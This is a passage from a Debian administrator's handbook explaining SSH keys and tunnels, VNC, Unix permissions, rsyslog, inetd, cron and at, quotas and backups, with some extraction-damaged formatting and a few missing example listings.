Authentication and encryption are often mentioned together, both because they are frequently used together, and because they are usually implemented with similar mathematical concepts.
SSH also offers two file transfer services. scp is a command line tool that can be used like cp, except that any path to another machine is prefixed with the machine's name, followed by a colon.
$
scp file machine:/tmp/
sftp is an interactive command, similar to ftp. In a single session, sftp can transfer several files, and it is possible to manipulate remote files with it (delete, rename, change permissions, etc.).
Debian uses OpenSSH, a free version of SSH maintained by the OpenBSD project (a free operating system based on the BSD kernel, focused on security) and fork of the original SSH software developed by the SSH Communications Security Corp company, of Finland. This company initially developed SSH as free software, but eventually decided to continue its development under a proprietary license. The OpenBSD project then created OpenSSH to maintain a free version of SSH.
BACK TO BASICS Fork
A “fork”, in the software field, means a new project that starts as a clone of an existing project, and that will compete with it. From there on, both software will usually quickly diverge in terms of new developments. A fork is often the result of disagreements within the development team.
The option to fork a project is a direct result of the very nature of free software; a fork is a healthy event when it enables the continuation of a project as free software (for example in case of license changes). A fork arising from technical or personal disagreements is often a waste of human resources; another resolution would be preferable. Mergers of two projects that previously went through a prior fork are not unheard of.
OpenSSH is split into two packages: the client part is in the openssh-client package, and the server is in the openssh-server package. The ssh meta-package depends on both parts and facilitates installation of both (apt install ssh).
Each time someone logs in over SSH, the remote server asks for a password to authenticate the user. This can be problematic if you want to automate a connection, or if you use a tool that requires frequent connections over SSH. This is why SSH offers a key-based authentication system.
The user generates a key pair on the client machine with ssh-keygen -t rsa; the public key is stored in ~/.ssh/id_rsa.pub
, while the corresponding private key is stored in ~/.ssh/id_rsa
. The user then uses ssh-copy-id server
to add their public key to the ~/.ssh/authorized_keys
file on the server. If the private key was not protected with a “passphrase” at the time of its creation, all subsequent logins on the server will work without a password. Otherwise, the private key must be decrypted each time by entering the passphrase. Fortunately, ssh-agent allows us to keep private keys in memory to not have to regularly re-enter the password. For this, you simply use ssh-add (once per work session) provided that the session is already associated with a functional instance of ssh-agent. Debian activates it by default in graphical sessions, but this can be deactivated by changing /etc/X11/Xsession.options
. For a console session, you can manually start it with eval $(ssh-agent).
SECURITY Protection of the private key
Whoever has the private key can login on the account thus configured. This is why access to the private key is protected by a “passphrase”. Someone who acquires a copy of a private key file (for example,
~/.ssh/id_rsa
) still has to know this phrase in order to be able to use it. This additional protection is not, however, impregnable, and if you think that this file has been compromised, it is best to disable that key on the computers in which it has been installed (by removing it from theauthorized_keys
files) and replacing it with a newly generated key.
CULTURE OpenSSL flaw in Debian Etch
The OpenSSL library, as initially provided in Debian Etch, had a serious problem in its random number generator (RNG). Indeed, the Debian maintainer had made a change so that applications using it would no longer generate warnings when analyzed by memory testing tools like valgrind. Unfortunately, this change also meant that the RNG was employing only one source of entropy corresponding to the process number (PID) whose 32,000 possible values do not offer enough randomness.
Specifically, whenever OpenSSL was used to generate a key, it always produced a key within a known set of hundreds of thousands of keys (32,000 multiplied by a small number of key lengths). This affected SSH keys, SSL keys, and X.509 certificates used by numerous applications, such as OpenVPN. A cracker had only to try all of the keys to gain unauthorized access. To reduce the impact of the problem, the SSH daemon was modified to refuse problematic keys that are listed in the openssh-blacklist and openssh-blacklist-extra packages. Additionally, the ssh-vulnkey command allows identification of possibly compromised keys in the system.
A more thorough analysis of this incident brings to light that it is the result of multiple (small) problems, both within the OpenSSL project and with the Debian package maintainer. A widely used library like OpenSSL should — without modifications — not generate warnings when tested by valgrind. Furthermore, the code (especially the parts as sensitive as the RNG) should be better commented to prevent such errors. On Debian's side, the maintainer wanted to validate the modifications with the OpenSSL developers, but simply explained the modifications without providing the corresponding patch to review and failed to mention his role within Debian. Finally, the maintenance choices were sub-optimal: the changes made to the original code were not clearly documented; all the modifications were effectively stored in a Subversion repository, but they ended up all lumped into one single patch during creation of the source package.
It is difficult under such conditions to find the corrective measures to prevent such incidents from recurring. The lesson to be learned here is that every divergence Debian introduces to upstream software must be justified, documented, submitted to the upstream project when possible, and widely publicized. It is from this perspective that the new source package format (“3.0 (quilt)”) and the Debian sources webservice were developed.
The SSH protocol allows forwarding of graphical data (“X11” session, from the name of the most widespread graphical system in Unix); the server then keeps a dedicated channel for those data. Specifically, a graphical program executed remotely can be displayed on the X.org server of the local screen, and the whole session (input and display) will be secure. Since this feature allows remote applications to interfere with the local system, it is disabled by default. You can enable it by specifying X11Forwarding yes
in the server configuration file (/etc/ssh/sshd_config
). Finally, the user must also request it by adding the -X
option to the ssh command-line.
Its -R
and -L
options allow ssh to create “encrypted tunnels” between two machines, securely forwarding a local TCP port (see sidebar BACK TO BASICS TCP/UDP) to a remote machine or vice versa.
VOCABULARY Tunnel
The Internet, and most LANs that are connected to it, operate in packet mode and not in connected mode, meaning that a packet issued from one computer to another is going to be stopped at several intermediary routers to find its way to its destination. You can still simulate a connected operation where the stream is encapsulated in normal IP packets. These packets follow their usual route, but the stream is reconstructed unchanged at the destination. We call this a “tunnel”, analogous to a road tunnel in which vehicles drive directly from the entrance (input) to the exit (output) without encountering any intersections, as opposed to a path on the surface that would involve intersections and changing direction.
You can use this opportunity to add encryption to the tunnel: the stream that flows through it is then unrecognizable from the outside, but it is returned in decrypted form at the exit of the tunnel.
ssh -L 8000:server:25 intermediary establishes an SSH session with the intermediary
host and listens to local port 8000 (see Fig. 9.3, „Forwarding a local port with SSH”). For any connection established on this port, ssh will initiate a connection from the intermediary
computer to port 25 on the server
, and will bind both connections together.
ssh -R 8000:server:25 intermediary also establishes an SSH session to the intermediary
computer, but it is on this machine that ssh listens to port 8000 (see Fig. 9.4, „Forwarding a remote port with SSH”). Any connection established on this port will cause ssh to open a connection from the local machine on to port 25 of the server
, and to bind both connections together.
In both cases, connections are made to port 25 on the server
host, which pass through the SSH tunnel established between the local machine and the intermediary
machine. In the first case, the entrance to the tunnel is local port 8000, and the data move towards the intermediary
machine before being directed to the server
on the “public” network. In the second case, the input and output in the tunnel are reversed; the entrance is port 8000 on the intermediary
machine, the output is on the local host, and the data are then directed to the server
. In practice, the server is usually either the local machine or the intermediary. That way SSH secures the connection from one end to the other.
VNC (Virtual Network Computing) allows remote access to graphical desktops.
This tool is mostly used for technical assistance; the administrator can see the errors that the user is facing, and show them the correct course of action without having to stand by them.
First, the user must authorize sharing their session. The GNOME graphical desktop environment in Jessie includes that option in its configuration panel (contrary to previous versions of Debian, where the user had to install and run vino). KDE still requires using krfb to allow sharing an existing session over VNC. For other graphical desktop environments, the x11vnc command (from the Debian package of the same name) serves the same purpose; you can make it available to the user with an explicit icon.
When the graphical session is made available by VNC, the administrator must connect to it with a VNC client. GNOME has vinagre and remmina for that, while KDE includes krdc (in the menu at K → Internet → Remote Desktop Client). There are other VNC clients that use the command line, such as xvnc4viewer in the Debian package of the same name. Once connected, the administrator can see what is going on, work on the machine remotely, and show the user how to proceed.
SECURITY VNC over SSH
If you want to connect by VNC, and you don't want your data sent in clear text on the network, it is possible to encapsulate the data in an SSH tunnel (see Secțiune 9.2.1.3, „Creating Encrypted Tunnels with Port Forwarding”). You simply have to know that VNC uses port 5900 by default for the first screen (called “localhost:0”), 5901 for the second (called “localhost:1”), etc.
The ssh -L localhost:5901:localhost:5900 -N -T
machine
command creates a tunnel between local port 5901 in the localhost interface and port 5900 of themachine
host. The first “localhost” restricts SSH to listening to only that interface on the local machine. The second “localhost” indicates the interface on the remote machine which will receive the network traffic entering in “localhost:5901”. Thus vncviewer localhost:1 will connect the VNC client to the remote screen, even though you indicate the name of the local machine.When the VNC session is closed, remember to close the tunnel by also quitting the corresponding SSH session.
BACK TO BASICS Display manager
gdm3, kdm, lightdm, and xdm are Display Managers. They take control of the graphical interface shortly after boot in order to provide the user a login screen. Once the user has logged in, they execute the programs needed to start a graphical work session.
VNC also works for mobile users, or company executives, who occasionally need to login from their home to access a remote desktop similar to the one they use at work. The configuration of such a service is more complicated: you first install the vnc4server package, change the configuration of the display manager to accept XDMCP Query
requests (for gdm3, this can be done by adding Enable=true
in the “xdmcp” section of /etc/gdm3/daemon.conf
), and finally, start the VNC server with inetd so that a session is automatically started when a user tries to login. For example, you may add this line to /etc/inetd.conf
:
Redirecting incoming connections to the display manager solves the problem of authentication, because only users with local accounts will pass the gdm3 login screen (or equivalent kdm, xdm, etc.). As this operation allows multiple simultaneous logins without any problem (provided the server is powerful enough), it can even be used to provide complete desktops for mobile users (or for less powerful desktop systems, configured as thin clients). Users simply login to the server's screen with vncviewer server
:50, because the port used is 5950.
Linux is definitely a multi-user system, so it is necessary to provide a permission system to control the set of authorized operations on files and directories, which includes all the system resources and devices (on a Unix system, any device is represented by a file or directory). This principle is common to all Unix systems, but a reminder is always useful, especially as there are some interesting and relatively unknown advanced uses.
Each file or directory has specific permissions for three categories of users:
u
as in “user”); g
as in “group”), representing all the members of the group; o
as in “other”). Three types of rights can be combined:
r
as in “read”); w
as in “write”); x
as in “eXecute”). In the case of a file, these rights are easily understood: read access allows reading the content (including copying), write access allows changing it, and execute access allows you to run it (which will only work if it is a program).
SECURITY
setuid
andsetgid
executablesTwo particular rights are relevant to executable files:
setuid
andsetgid
(symbolized with the letter “s”). Note that we frequently speak of “bit”, since each of these boolean values can be represented by a 0 or a 1. These two rights allow any user to execute the program with the rights of the owner or the group, respectively. This mechanism grants access to features requiring higher level permissions than those you would usually have.Since a
setuid
root program is systematically run under the super-user identity, it is very important to ensure it is secure and reliable. Indeed, a user who would manage to subvert it to call a command of their choice could then impersonate the root user and have all rights on the system.
A directory is handled differently. Read access gives the right to consult the list of its entries (files and directories), write access allows creating or deleting files, and execute access allows crossing through it (especially to go there with the cd command). Being able to cross through a directory without being able to read it gives permission to access the entries therein that are known by name, but not to find them if you do not know their existence or their exact name.
SECURITY
setgid
directory and sticky bitThe
setgid
bit also applies to directories. Any newly-created item in such directories is automatically assigned the owner group of the parent directory, instead of inheriting the creator's main group as usual. This setup avoids the user having to change its main group (with the newgrp command) when working in a file tree shared between several users of the same dedicated group.The “sticky” bit (symbolized by the letter “t”) is a permission that is only useful in directories. It is especially used for temporary directories where everybody has write access (such as
/tmp/
): it restricts deletion of files so that only their owner (or the owner of the parent directory) can do it. Lacking this, everyone could delete other users' files in/tmp/
.
Three commands control the permissions associated with a file:
user
file
changes the owner of the file; group
file
alters the owner group; rights
file
changes the permissions for the file. There are two ways of presenting rights. Among them, the symbolic representation is probably the easiest to understand and remember. It involves the letter symbols mentioned above. You can define rights for each category of users (u
/g
/o
), by setting them explicitly (with =
), by adding (+
), or subtracting (-
). Thus the u=rwx,g+rw,o-r
formula gives the owner read, write, and execute rights, adds read and write rights for the owner group, and removes read rights for other users. Rights not altered by the addition or subtraction in such a command remain unmodified. The letter a
, for “all”, covers all three categories of users, so that a=rx
grants all three categories the same rights (read and execute, but not write).
The (octal) numeric representation associates each right with a value: 4 for read, 2 for write, and 1 for execute. We associate each combination of rights with the sum of the figures. Each value is then assigned to different categories of users by putting them end to end in the usual order (owner, group, others).
For instance, the chmod 754 file
command will set the following rights: read, write and execute for the owner (since 7 = 4 + 2 + 1); read and execute for the group (since 5 = 4 + 1); read-only for others. The 0
means no rights; thus chmod 600 file
allows for read/write rights for the owner, and no rights for anyone else. The most frequent right combinations are 755
for executable files and directories, and 644
for data files.
To represent special rights, you can prefix a fourth digit to this number according to the same principle, where the setuid
, setgid
and sticky
bits are 4, 2 and 1, respectively. chmod 4754 will associate the setuid
bit with the previously described rights.
Note that the use of octal notation only allows to set all the rights at once on a file; you cannot use it to simply add a new right, such as read access for the group owner, since you must take into account the existing rights and compute the new corresponding numerical value.
TIP Recursive operation
Sometimes we have to change rights for an entire file tree. All the commands above have a
-R
option to operate recursively in sub-directories.The distinction between directories and files sometimes causes problems with recursive operations. That is why the “X” letter has been introduced in the symbolic representation of rights. It represents a right to execute which applies only to directories (and not to files lacking this right). Thus, chmod -R a+X
directory
will only add execute rights for all categories of users (a
) for all of the sub-directories and files for which at least one category of user (even if their sole owner) already has execute rights.
TIP Changing the user and group
Frequently you want to change the group of a file at the same time that you change the owner. The chown command has a special syntax for that: chown
user
:group
file
GOING FURTHER umask
When an application creates a file, it assigns indicative permissions, knowing that the system automatically removes certain rights, given by the command umask. Enter umask in a shell; you will see a mask such as
0022
. This is simply an octal representation of the rights to be systematically removed (in this case, the write right for the group and other users).If you give it a new octal value, the umask command modifies the mask. Used in a shell initialization file (for example,
~/.bash_profile
), it will effectively change the default mask for your work sessions.
Using a graphical interface for administration is interesting in various circumstances. An administrator does not necessarily know all the configuration details for all their services, and doesn't always have the time to go seeking out the documentation on the matter. A graphical interface for administration can thus accelerate the deployment of a new service. It can also simplify the setup of services which are hard to configure.
Such an interface is only an aid, and not an end in itself. In all cases, the administrator must master its behavior in order to understand and work around any potential problem.
Since no interface is perfect, you may be tempted to try several solutions. This is to be avoided as much as possible, since different tools are sometimes incompatible in their work methods. Even if they all aim to be very flexible and try to adopt the configuration file as a single reference, they are not always able to integrate external changes.
This is, without a doubt, one of the most successful administration interfaces. It is a modular system managed through a web browser, covering a wide array of areas and tools. Furthermore, it is internationalized and available in many languages.
Sadly, webmin is no longer part of Debian. Its Debian maintainer — Jaldhar H. Vyas — removed the packages he created because he no longer had the time required to maintain them at an acceptable quality level. Nobody has officially taken over, so Jessie does not have the webmin package.
There is, however, an unofficial package distributed on the webmin.com
website. Contrary to the original Debian packages, this package is monolithic; all of its configuration modules are installed and activated by default, even if the corresponding service is not installed on the machine.
SECURITY Changing the root password
On the first login, identification is conducted with the root username and its usual password. It is recommended to change the password used for webmin as soon as possible, so that if it is compromised, the root password for the server will not be involved, even if this confers important administrative rights to the machine.
Beware! Since webmin has so many features, a malicious user accessing it could compromise the security of the entire system. In general, interfaces of this kind are not recommended for important systems with strong security constraints (firewall, sensitive servers, etc.).
Webmin is used through a web interface, but it does not require Apache to be installed. Essentially, this software has its own integrated mini web server. This server listens by default on port 10000 and accepts secure HTTP connections.
Included modules cover a wide variety of services, among which:
crontab
files, init scripts, viewing of logs, etc. The administration interface is available in a web browser at https://localhost:10000
. Beware! Not all the modules are directly usable. Sometimes they must be configured by specifying the locations of the corresponding configuration files and some executable files (program). Frequently the system will politely prompt you when it fails to activate a requested module.
ALTERNATIVE GNOME control center
The GNOME project also provides multiple administration interfaces that are usually accessible via the “Settings” entry in the user menu on the top right. gnome-control-center is the main program that brings them all together but many of the system wide configuration tools are effectively provided by other packages (accountsservice, system-config-printer, etc.). Although they are easy to use, these applications cover only a limited number of base services: user management, time configuration, network configuration, printer configuration, and so on.
Many packages are automatically configured after asking a few questions during installation through the Debconf tool. These packages can be reconfigured by running dpkg-reconfigure package
.
For most cases, these settings are very simple; only a few important variables in the configuration file are changed. These variables are often grouped between two “demarcation” lines so that reconfiguration of the package only impacts the enclosed area. In other cases, reconfiguration will not change anything if the script detects a manual modification of the configuration file, in order to preserve these human interventions (because the script can't ensure that its own modifications will not disrupt the existing settings).
DEBIAN POLICY Preserving changes
The Debian Policy expressly stipulates that everything should be done to preserve manual changes made to a configuration file, so more and more scripts take precautions when editing configuration files. The general principle is simple: the script will only make changes if it knows the status of the configuration file, which is verified by comparing the checksum of the file against that of the last automatically generated file. If they are the same, the script is authorized to change the configuration file. Otherwise, it determines that the file has been changed and asks what action it should take (install the new file, save the old file, or try to integrate the new changes with the existing file). This precautionary principle has long been unique to Debian, but other distributions have gradually begun to embrace it.
The ucf program (from the Debian package of the same name) can be used to implement such a behavior.
The rsyslogd daemon is responsible for collecting service messages coming from applications and the kernel, then dispatching them into log files (usually stored in the /var/log/
directory). It obeys the /etc/rsyslog.conf
configuration file.
Each log message is associated with an application subsystem (called “facility” in the documentation):
auth
and authpriv
: for authentication; cron
: comes from task scheduling services, cron and atd; daemon
: affects a daemon without any special classification (DNS, NTP, etc.); ftp
: concerns the FTP server; kern
: message coming from the kernel; lpr
: comes from the printing subsystem; mail
: comes from the e-mail subsystem; news
: Usenet subsystem message (especially from an NNTP — Network News Transfer Protocol — server that manages newsgroups); syslog
: messages from the syslogd server, itself; user
: user messages (generic); uucp
: messages from the UUCP server (Unix to Unix Copy Program, an old protocol notably used to distribute e-mail messages); local0
to local7
: reserved for local use. Each message is also associated with a priority level. Here is the list in decreasing order:
emerg
: “Help!” There is an emergency, the system is probably unusable. alert
: hurry up, any delay can be dangerous, action must be taken immediately; crit
: conditions are critical; err
: error; warn
: warning (potential error); notice
: conditions are normal, but the message is important; info
: informative message; debug
: debugging message. The syntax of the /etc/rsyslog.conf
file is detailed in the rsyslog.conf(5) manual page, but there is also HTML documentation available in the rsyslog-doc package (/usr/share/doc/rsyslog-doc/html/index.html
). The overall principle is to write “selector” and “action” pairs. The selector defines all relevant messages, and the actions describes how to deal with them.
The selector is a semicolon-separated list of
pairs (example: subsystem
.priority
auth.notice;mail.info
). An asterisk may represent all subsystems or all priorities (examples: *.alert
or mail.*
). Several subsystems can be grouped, by separating them with a comma (example: auth,mail.info
). The priority indicated also covers messages of equal or higher priority; thus auth.alert
indicates the auth
subsystem messages of alert
or emerg
priority. Prefixed with an exclamation point (!), it indicates the opposite, in other words the strictly lower priorities; auth.!notice
, thus, indicates messages issued from auth
, with info
or debug
priority. Prefixed with an equal sign (=), it corresponds to precisely and only the priority indicated (auth.=notice
only concerns messages from auth
with notice
priority).
Each element in the list on the selector overrides previous elements. It is thus possible to restrict a set or to exclude certain elements from it. For example, kern.info;kern.!err
means messages from the kernel with priority between info
and warn
. The none
priority indicates the empty set (no priorities), and may serve to exclude a subsystem from a set of messages. Thus, *.crit;kern.none
indicates all the messages of priority equal to or higher than crit
not coming from the kernel.
BACK TO BASICS The named pipe, a persistent pipe
A named pipe is a particular type of file that operates like a traditional pipe (the pipe that you make with the “|” symbol on the command line), but via a file. This mechanism has the advantage of being able to relate two unrelated processes. Anything written to a named pipe blocks the process that writes until another process attempts to read the data written. This second process reads the data written by the first, which can then resume execution.
Such a file is created with the mkfifo command.
The various possible actions are:
/var/log/messages
); @log.falcot.com
); |/dev/xconsole
); root,rhertzog
); *
); /dev/tty8
). SECURITY Forwarding logs
It is a good idea to record the most important logs on a separate machine (perhaps dedicated for this purpose), since this will prevent any possible intruder from removing traces of their intrusion (unless, of course, they also compromise this other server). Furthermore, in the event of a major problem (such as a kernel crash), you have the logs available on another machine, which increases your chances of determining the sequence of events that caused the crash.
To accept log messages sent by other machines, you must reconfigure rsyslog: in practice, it is sufficient to activate the ready-for-use entries in
/etc/rsyslog.conf
($ModLoad imudp
and$UDPServerRun 514
).
Inetd (often called “Internet super-server”) is a server of servers. It executes rarely used servers on demand, so that they do not have to run continuously.
The /etc/inetd.conf
file lists these servers and their usual ports. The inetd command listens to all of them; when it detects a connection to any such port, it executes the corresponding server program.
DEBIAN POLICY Register a server in
inetd.conf
Packages frequently want to register a new server in the
/etc/inetd.conf
file, but Debian Policy prohibits any package from modifying a configuration file that it doesn't own. This is why the update-inetd script (in the package with the same name) was created: It manages the configuration file, and other packages can thus use it to register a new server to the super-server's configuration.
Each significant line of the /etc/inetd.conf
file describes a server through seven fields (separated by spaces):
/etc/services
file). stream
for a TCP connection, dgram
for UDP datagrams. tcp
or udp
. wait
or nowait
, to tell inetd whether it should wait or not for the end of the launched process before accepting another connection. For TCP connections, easily multiplexable, you can usually use nowait
. For programs responding over UDP, you should use nowait
only if the server is capable of managing several connections in parallel. You can suffix this field with a period, followed by the maximum number of connections authorized per minute (the default limit is 256). argv[0]
in C). The following example illustrates the most common cases:
Exemplu 9.1. Excerpt from /etc/inetd.conf
The tcpd program is frequently used in the /etc/inetd.conf
file. It allows limiting incoming connections by applying access control rules, documented in the hosts_access(5) manual page, and which are configured in the /etc/hosts.allow
and /etc/hosts.deny
files. Once it has been determined that the connection is authorized, tcpd executes the real server (like in.fingerd in our example). It is worth noting that tcpd relies on the name under which it was invoked (that is the first argument, argv[0]
) to identify the real program to run. So you should not start the arguments list with tcpd
but with the program that must be wrapped.
COMMUNITY Wietse Venema
Wietse Venema, whose expertise in security has made him a renowned programmer, is the author of the tcpd program. He is also the main creator of Postfix, the modular e-mail server (SMTP, Simple Mail Transfer Protocol), designed to be safer and more reliable than sendmail, which features a long history of security vulnerabilities.
ALTERNATIVE Other inetd commands
While Debian installs openbsd-inetd by default, there is no lack of alternatives: we can mention inetutils-inetd, micro-inetd, rlinetd and xinetd.
This last incarnation of a super-server offers very interesting possibilities. Most notably, its configuration can be split into several files (stored, of course, in the
/etc/xinetd.d/
directory), which can make an administrator's life easier.Last but not least, it is even possible to emulate inetd's behaviour with systemd's socket-activation mechanism (see Secțiune 9.1.1, „The systemd init system”).
cron is the daemon responsible for executing scheduled and recurring commands (every day, every week, etc.); atd is that which deals with commands to be executed a single time, but at a specific moment in the future.
In a Unix system, many tasks are scheduled for regular execution:
By default, all users can schedule the execution of tasks. Each user has thus their own crontab in which they can record scheduled commands. It can be edited by running crontab -e (its content is stored in the /var/spool/cron/crontabs/
file). user
SECURITY Restricting cron or atd
You can restrict access to cron by creating an explicit authorization file (whitelist) in
/etc/cron.allow
, in which you indicate the only users authorized to schedule commands. All others will automatically be deprived of this feature. Conversely, to only block one or two troublemakers, you could write their username in the explicit prohibition file (blacklist),/etc/cron.deny
. This same feature is available for atd, with the/etc/at.allow
and/etc/at.deny
files.
The root user has their own crontab, but can also use the /etc/crontab
file, or write additional crontab files in the /etc/cron.d
directory. These last two solutions have the advantage of being able to specify the user identity to use when executing the command.
The cron package includes by default some scheduled commands that execute:
/etc/cron.hourly/
directory once per hour; /etc/cron.daily/
once per day; /etc/cron.weekly/
once per week; /etc/cron.monthly/
once per month. Many Debian packages rely on this service: by putting maintenance scripts in these directories, they ensure optimal operation of their services.
TIP Text shortcuts for cron
cron recognizes some abbreviations which replace the first five fields in a
crontab
entry. They correspond to the most classic scheduling options:
@yearly
: once per year (January 1, at 00:00);@monthly
: once per month (the 1st of the month, at 00:00);@weekly
: once per week (Sunday at 00:00);@daily
: once per day (at 00:00);@hourly
: once per hour (at the beginning of each hour).
SPECIAL CASE cron and daylight savings time
In Debian, cron takes the time change (for Daylight Savings Time, or in fact for any significant change in the local time) into account as best as it can. Thus, the commands that should have been executed during an hour that never existed (for example, tasks scheduled at 2:30 am during the Spring time change in France, since at 2:00 am the clock jumps directly to 3:00 am) are executed shortly after the time change (thus around 3:00 am DST). On the other hand, in autumn, when commands would be executed several times (2:30 am DST, then an hour later at 2:30 am standard time, since at 3:00 am DST the clock turns back to 2:00 am) are only executed once.
Be careful, however, if the order in which the different scheduled tasks and the delay between their respective executions matters, you should check the compatibility of these constraints with cron's behavior; if necessary, you can prepare a special schedule for the two problematic nights per year.
Each significant line of a crontab describes a scheduled command with the six (or seven) following fields:
Sun
, Mon
, etc.); /etc/crontab
file and in the fragments located in /etc/cron.d/
, but not in the users' own crontab files); All these details are documented in the crontab(5) man page.
Each value can be expressed in the form of a list of possible values (separated by commas). The syntax a-b
describes the interval of all the values between a
and b
. The syntax a-b/c
describes the interval with an increment of c
(example: 0-10/2
means 0,2,4,6,8,10
). An asterisk *
is a wildcard, representing all possible values.
Exemplu 9.2. Sample crontab
file
TIP Executing a command on boot
To execute a command a single time, just after booting the computer, you can use the
@reboot
macro (a simple restart of cron does not trigger a command scheduled with@reboot
). This macro replaces the first five fields of an entry in the crontab.
ALTERNATIVE Emulating cron with systemd
It is possible to emulate part of cron's behaviour with systemd's timer mechanism (see Secțiune 9.1.1, „The systemd init system”).
The at executes a command at a specified moment in the future. It takes the desired time and date as command-line parameters, and the command to be executed in its standard input. The command will be executed as if it had been entered in the current shell. at even takes care to retain the current environment, in order to reproduce the same conditions when it executes the command. The time is indicated by following the usual conventions: 16:12
or 4:12pm
represents 4:12 pm. The date can be specified in several European and Western formats, including DD.MM.YY
(27.07.15
thus representing 27 July 2015), YYYY-MM-DD
(this same date being expressed as 2015-07-27
), MM/DD/[CC]YY
(ie., 12/25/15
or 12/25/2015
will be December 25, 2015), or simple MMDD[CC]YY
(so that 122515
or 12252015
will, likewise, represent December 25, 2015). Without it, the command will be executed as soon as the clock reaches the time indicated (the same day, or tomorrow if that time has already passed on the same day). You can also simply write “today” or “tomorrow”, which is self-explanatory.
$
at 09:00 27.07.15 <<END
>
echo "Don't forget to wish a Happy Birthday to Raphaël!" \
>
| mail lolando@debian.org
>
END
warning: commands will be executed using /bin/sh
job 31 at Mon Jul 27 09:00:00 2015
An alternative syntax postpones the execution for a given duration: at now + number
period
. The period
can be minutes
, hours
, days
, or weeks
. The number
simply indicates the number of said units that must elapse before execution of the command.
To cancel a task scheduled by cron, simply run crontab -e and delete the corresponding line in the crontab file. For at tasks, it is almost as easy: run atrm task-number
. The task number is indicated by the at command when you scheduled it, but you can find it again with the atq command, which gives the current list of scheduled tasks.
anacron is the daemon that completes cron for computers that are not on at all times. Since regular tasks are usually scheduled for the middle of the night, they will never be executed if the computer is off at that time. The purpose of anacron is to execute them, taking into account periods in which the computer is not working.
Please note that anacron will frequently execute such activity a few minutes after booting the machine, which can render the computer less responsive. This is why the tasks in the /etc/anacrontab
file are started with the nice command, which reduces their execution priority and thus limits their impact on the rest of the system. Beware, the format of this file is not the same as that of /etc/crontab
; if you have particular needs for anacron, see the anacrontab(5) manual page.
BACK TO BASICS Priorities and nice
Unix systems (and thus Linux) are multi-tasking and multi-user systems. Indeed, several processes can run in parallel, and be owned by different users: the kernel mediates access to the resources between the different processes. As a part of this task, it has a concept of priority, which allows it to favor certain processes over others, as needed. When you know that a process can run in low priority, you can indicate so by running it with nice
program
. The program will then have a smaller share of the CPU, and will have a smaller impact on other running processes. Of course, if no other processes needs to run, the program will not be artificially held back.nice works with levels of “niceness”: the positive levels (from 1 to 19) progressively lower the priority, while the negative levels (from -1 to -20) will increase it — but only root can use these negative levels. Unless otherwise indicated (see the nice(1) manual page), nice increases the current level by 10.
If you discover that an already running task should have been started with nice it is not too late to fix it; the renice command changes the priority of an already running process, in either direction (but reducing the “niceness” of a process is reserved for the root user).
Installation of the anacron package deactivates execution by cron of the scripts in the /etc/cron.hourly/
, /etc/cron.daily/
, /etc/cron.weekly/
, and /etc/cron.monthly/
directories. This avoids their double execution by anacron and cron. The cron command remains active and will continue to handle the other scheduled tasks (especially those scheduled by users).
The quota system allows limiting disk space allocated to a user or group of users. To set it up, you must have a kernel that supports it (compiled with the CONFIG_QUOTA
option) — as is the case with Debian kernels. The quota management software is found in the quota Debian package.
To activate quota in a filesystem, you have to indicate the usrquota
and grpquota
options in /etc/fstab
for the user and group quotas, respectively. Rebooting the computer will then update the quotas in the absence of disk activity (a necessary condition for proper accounting of already used disk space).
The edquota user
(or edquota -g group
) command allows you to change the limits while examining current disk space usage.
GOING FURTHER Defining quotas with a script
The setquota program can be used in a script to automatically change many quotas. Its setquota(8) manual page details the syntax to use.
The quota system allows you to set four limits:
A “soft” limit can be temporarily exceeded; the user will simply be warned that they are exceeding the quota by the warnquota command, which is usually invoked by cron. A “hard” limit can never be exceeded: the system will refuse any operation that will cause a hard quota to be exceeded.
VOCABULARY Blocks and inodes
The filesystem divides the hard drive into blocks — small contiguous areas. The size of these blocks is defined during creation of the filesystem, and generally varies between 1 and 8 kibibytes.
A block can be used either to store the real data of a file, or for meta-data used by the filesystem. Among this meta-data, you will especially find the inodes. An inode uses a block on the hard drive (but this block is not taken into consideration in the block quota, only in the inode quota), and contains both the information on the file to which it corresponds (name, owner, permissions, etc.) and the pointers to the data blocks that are actually used. For very large files that occupy more blocks than it is possible to reference in a single inode, there is an indirect block system; the inode references a list of blocks that do not directly contain data, but another list of blocks.
With the edquota -t command, you can define a maximum authorized “grace period” within which a soft limit may be exceeded. After this period, the soft limit will be treated like a hard limit, and the user will have to reduce their disk space usage to within this limit in order to be able to write anything to the hard drive.
GOING FURTHER Setting up a default quota for new users
To automatically setup a quota for new users, you have to configure a template user (with edquota or setquota) and indicate their user name in the
QUOTAUSER
variable in the/etc/adduser.conf
file. This quota configuration will then be automatically applied to each new user created with the adduser command.
Making backups is one of the main responsibilities of any administrator, but it is a complex subject, involving powerful tools which are often difficult to master.
Many programs exist, such as amanda, bacula, BackupPC. Those are client/server system featuring many options, whose configuration is rather difficult. Some of them provide user-friendly web interfaces to mitigate this. But Debian contains dozens of other backup software covering all possible use cases, as you can easily confirm with apt-cache search backup.
Rather than detailing some of them, this section will present the thoughts of the Falcot Corp administrators when they defined their backup strategy.
At Falcot Corp, backups have two goals: recovering erroneously deleted files, and quickly restoring any computer (server or desktop) whose hard drive has failed.
Backups on tape having been deemed too slow and costly, data will be backed up on hard drives on a dedicated server, on which the use of software RAID (see Secțiune 12.1.1, „Software RAID”) will protect the data from hard drive failure. Desktop computers are not backed up individually, but users are advised that their personal account on their department's file server will be backed up. The rsync command (from the package of the same name) is used daily to back up these different servers.
BACK TO BASICS The hard link, a second name for the file
A hard link, as opposed to a symbolic link, cannot be differentiated from the linked file. Creating a hard link is essentially the same as giving an existing file a second name. This is why the deletion of a hard link only removes one of the names associated with the file. As long as another name is still assigned to the file, the data therein remain present on the filesystem. It is interesting to note that, unlike a copy, the hard link does not take up additional space on the hard drive.
A hard link is created with the ln
target
link
command. Thelink
file is then a new name for thetarget
file. Hard links can only be created on the same filesystem, while symbolic links are not subject to this limitation.
The available hard drive space prohibits implementation of a complete daily backup. As such, the rsync command is preceded by a duplication of the content of the previous backup with hard links, which prevents usage of too much hard drive space. The rsync process then only replaces files that have been modified since the last backup. With this mechanism a great number of backups can be kept in a small amount of space. Since all backups are immediately available and accessible (for example, in different directories of a given share on the network), you can quickly make comparisons between two given dates.
This backup mechanism is easily implemented with the dirvish program. It uses a backup storage space (“bank” in its vocabulary) in which it places timestamped copies of sets of backup files (these sets are called “vaults” in the dirvish documentation).
The main configuration is in the /etc/dirvish/master.conf
file. It defines the location of the backup storage space, the list of “vaults” to manage, and default values for expiration of the backups. The rest of the configuration is located in the
files and contains the specific configuration for the corresponding set of files. bank
/vault
/dirvish/default.conf
